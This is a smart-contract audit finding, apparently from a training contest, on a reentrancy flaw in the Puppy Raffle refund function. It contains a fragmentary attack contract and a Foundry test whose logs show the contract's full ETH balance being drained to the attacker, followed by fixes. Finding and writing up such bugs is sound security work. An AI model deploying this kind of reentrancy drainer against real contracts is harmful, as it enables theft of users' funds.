First Flight #2: Puppy Raffle

Summary

In PuppyRaffle::refund, native ETH is sent to the player using using the sendValue function from the Address lib from openZeppelin. The problem here lies in the fact that it sends the native ETH value using the low-level call so all gas is forwarded to receiver before the state is updated.

Vulnerability Details

A malicious player can enter the reffle using a contract rather than an EOA and decide to get out using the refund function but since it is a contract, it can run arbitrary code in either the receive or fallback functions in the receiving contract when the native ETH is sent and it provides an opportunity for reentrancy which can lead to the contract getting drained of all the funds.

Poc

Attack contract

IPuppyRaffle puppyRaffle;

address public owner;

​

constructor(address _puppyRaffle) {

puppyRaffle = IPuppyRaffle(_puppyRaffle);

owner = payable(msg.sender);

}

​

receive() external payable {

if (address(puppyRaffle).balance >= 1) {

attackRefund(4);

} else {

if (msg.sender != owner) {

revert();

}

​

(bool success,) = owner.call{value: address(this).balance}("");

if (!success) revert();

}

}

}

Add the test below to PuppyRaffleTest.t.sol

///@notice Don't forget to import the attackPuppyRaffle contract

function setUp() public {

puppyRaffle = new PuppyRaffle(

entranceFee,

feeAddress,

duration

);

​

vm.startPrank(attacker);

attackPuppyRaffle = new AttackPuppyRaffle(address(puppyRaffle));

vm.stopPrank();

}

​

function testCanReenter() external playersEntered {

console.log("PuppyRaffle balance before: ", address(puppyRaffle).balance);

address attackerPlayer = address(attackPuppyRaffle);

vm.deal(attackerPlayer, 1 ether);

address[] memory players = new address[](1);

players[0] = attackerPlayer;

console.log("attacker EOA balance before", attackPuppyRaffle.owner().balance);

​

​

vm.startPrank(attackerPlayer);

puppyRaffle.enterRaffle{value: entranceFee}(players);

attackPuppyRaffle.attackRefund(4);

vm.stopPrank();

​

console.log("PuppyRaffle balance after: ", address(puppyRaffle).balance);

console.log("attackPuppy balance after: ", address(attackPuppyRaffle).balance);

console.log("attacker EOA balance after", attackPuppyRaffle.owner().balance);

}

logs:

Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest

[PASS] testCanReenter() (gas: 246064)

Logs:

PuppyRaffle balance before: 4000000000000000000

attacker EOA balance before 0

PuppyRaffle balance after: 0

attackPuppy balance after: 0

attacker EOA balance after 5000000000000000000

## Impact 100% of the protocol balance can be drained from the contract by a malicious player during an active raffle.

Tools Used

Manual review & Foundry.

Recommendations

1. Checks-Effects-Interactions pattern as recommended by the official solidity docs here should be followed.

2. Use the ReentrancyGuard Library from OpenZeppelin.